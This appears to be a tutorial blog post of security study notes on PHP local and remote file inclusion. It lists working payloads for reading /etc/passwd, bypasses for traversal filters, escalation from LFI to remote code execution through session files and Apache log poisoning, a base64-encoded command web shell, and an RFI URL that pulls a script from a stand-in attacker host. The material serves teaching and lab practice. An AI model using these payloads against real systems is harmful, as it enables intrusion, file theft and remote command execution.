Types
Relative vs Absolute Pathing
-
Relative Pathing:
- Locates files based on the current directory.
- Example:
include('./folder/file.php')
(file is insidefolder
in the same directory as the script).
-
Absolute Pathing:
- Specifies the full path from the root directory.
- Example:
/var/www/html/folder/file.php
(complete path to the file).
Remote File Inclusion (RFI)
Replace URL with a path to malicious script.
Example: http://url/include.php?page=http://attacker.com/exploit.php
Local File Inclusion (LFI)
Exploit poorly sanitized input fields to manipulate file paths, aiming to access files outside the intended directory.
Example: http://url/include.php?page=../../../../etc/passwd
LFI vs RFI
PHP Wrappers
PHP wrappers are part of PHP's functionality that allows users access to various data streams that can also access or execute code through built-in protocols.
Attackers can use the php://filter
filter.
Example: Attacker encodes the contents of a file like /etc/passwd
using convert.base64-encode
filter of the wrapper. The final payload will then be php://filter/convert.base64-encode/resource=/etc/passwd
.
As the file content encoded in base64
gets returned, decode it using CyberChef.
PHP Filter Categories
Category | Filters |
---|---|
String Filters |
string.rot13 , string.toupper , string.tolower , string.strip_tags
|
Conversion Filters |
convert.base64-encode , convert.base64-decode , convert.quoted-printable-encode , convert.quoted-printable-decode
|
Compression Filters |
zlib.deflate , zlib.inflate
|
Encryption Filters (Deprecated) |
mcrypt , mdecrypt
|
For example, the table below represents the output of the target file .htaccess using the different string filters in PHP.
Payload | Output |
---|---|
php://filter/convert.base64-encode/resource=.htaccess | UmV3cml0ZUVuZ2luZSBvbgpPcHRpb25zIC1JbmRleGVz |
php://filter/string.rot13/resource=.htaccess | ErjevgrRatvar ba Bcgvbaf -Vaqrkrf |
php://filter/string.toupper/resource=.htaccess | REWRITEENGINE ON OPTIONS -INDEXES |
php://filter/string.tolower/resource=.htaccess | rewriteengine on options -indexes |
php://filter/string.strip_tags/resource=.htaccess | RewriteEngine on Options -Indexes |
No filter applied | RewriteEngine on Options -Indexes |
Data Wrapper
The data://
wrapper allows inline data embedding. It is used to embed small amounts of data directly into the application code.
Example: data:text/plain,<?php%20phpinfo();%20?>
-
data:
as the URL. -
mime-type
is set astext/plain
. - The data part includes a PHP code snippet:
<?php phpinfo(); ?>
.
Base Directory Breakout
function containsStr($str, $subStr){
return strpos($str, $subStr) !== false;
}
if(isset($_GET['page'])){
if(!containsStr($_GET['page'], '../..') && containsStr($_GET['page'], '/var/www/html')){
include $_GET['page'];
}else{
echo 'You are not allowed to go outside /var/www/html/ directory!';
}
}
This code snippter insists on the input to exclude ../..
and with /var/www/html
as well.
We can bypass this using payload /var/www/html/..//..//..//etc/passwd
.
..//..//
bypasses this filter because it still effectively navigates up two directories, similar to ../../
. ../../
and ..//..//
are functionally equivalent in terms of directory navigation but only ../../
is explicitly filtered out by the code.
Obfuscation
../
can be encoded or obfuscated in several ways to bypass simple filters.
-
Standard URL Encoding:
../
becomes%2e%2e%2f
-
Double Encoding: Useful if the application decodes inputs twice.
../
becomes%252e%252e%252f
-
Obfuscation: Attackers can use payloads like
....//
, which help in avoiding detection by simple string matching or filtering mechanisms. This obfuscation technique is intended to conceal directory traversal attempts, making them less apparent to basic security filters.
For example, imagine an application that mitigates LFI by filtering out ../
:
Sample Script:
$file = $_GET['file'];
$file = str_replace('../', '', $file);
include('files/' . $file);
An attacker can potentially bypass this filter using the following methods:
-
URL Encoded Bypass: The attacker can use the URL-encoded version of the payload like
?file=%2e%2e%2fconfig.php
. The server decodes this input to../config.php
, bypassing the filter. -
Double Encoded Bypass: The attacker can use double encoding if the application decodes inputs twice. The payload would then be
?file=%252e%252e%252fconfig.php
, where a dot is%252e
, and a slash is%252f
. The first decoding step changes%252e%252e%252f
to%2e%2e%2f
. The second decoding step then translates it to../config.php
. -
Obfuscation: An attacker could use the payload
....//config.php
, which, after the application strips out the apparent traversal string, would effectively become../config.php
.
LFI2RCE - Session Files
PHP session files can also be used in an LFI attack, leading to Remote Code Execution, particularly if an attacker can manipulate the session data. In a typical web application, session data is stored in files on the server.
Sample code:
if(isset($_GET['page'])){
$_SESSION['page'] = $_GET['page'];
echo "You're currently in" . $_GET["page"];
include($_GET['page']);
}
An attacker could exploit this vulnerability by injecting a PHP code into their session variable by using <?php echo phpinfo(); ?>
in the page parameter.
This code is then saved in the session file on the server. Subsequently, the attacker can use the LFI vulnerability to include this session file. Since session IDs are hashed, the ID can be found in the cookies section of your browser.
Accessing the URL sessions.php?page=/var/lib/php/sessions/sess_[sessionID]
will execute the injected PHP code in the session file. Note that you have to replace [sessionID] with the value from your PHPSESSID cookie.
LFI2RCE - Log Poisoning
Log poisoning is a technique where an attacker injects executable code into a web server's log file and then uses an LFI vulnerability to include and execute this log file.
Can be done by:
- crafting an evil user agent
- sending a payload via URL using Netcat
- sending a payload via a referrer header that the server logs
For example, if an attacker sends a Netcat request to the vulnerable machine containing a PHP code:
Sample Request
$ nc 10.10.126.142 80
<?php echo phpinfo(); ?>
HTTP/1.1 400 Bad Request
Date: Thu, 23 Nov 2023 05:39:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 335
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.126.142.eu-west-1.compute.internal Port 80</address>
</body></html>
The code will then be logged in the server's access logs.
The attacker then uses LFI to include the access log file: ?page=/var/log/apache2/access.log
LFI2RCE - Wrappers
PHP wrappers can also be used not only for reading files but also for code execution.
We can craft a payload as follows: <?php system($_GET['cmd']); echo 'Shell done!'; ?>
The value of the payload, when encoded to base64, will be php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+
Position | Field | Value |
---|---|---|
1 | Protocol Wrapper | php://filter |
2 | Filter | convert.base64-decode |
3 | Resource Type | resource= |
4 | Data Type | data://plain/text, |
5 | Encoded Payload | PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ |
In the table above, PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+
is the base64-encoded version of the PHP code. When the server processes this request, it first decodes the base64 string and then executes the PHP code, allowing the attacker to run commands on the server via the "cmd" GET parameter.
Top comments (0)